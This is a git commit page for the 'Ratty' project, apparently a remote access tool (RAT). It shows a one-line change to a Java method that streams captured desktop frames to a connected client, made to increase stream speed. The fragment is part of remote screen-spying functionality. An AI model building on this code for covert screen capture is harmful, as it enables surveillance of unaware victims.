Browse Source

Major changes

Increased the speed of the desktop stream
master
Sogomn 9 years ago
parent
commit
1afd98eea9
  1. 2
      Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java

2
Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java

@ -41,7 +41,7 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket {
@Override
protected void sendData(final ActiveClient client) {
Stream.of(frames).forEach(frame -> {
final byte[] data = ImageUtils.toByteArray(frame.image, "JPG");
final byte[] data = ImageUtils.toByteArray(frame.image, 0);
client.writeByte(INCOMING);
client.writeShort((short)frame.x);

Loading…
Cancel
Save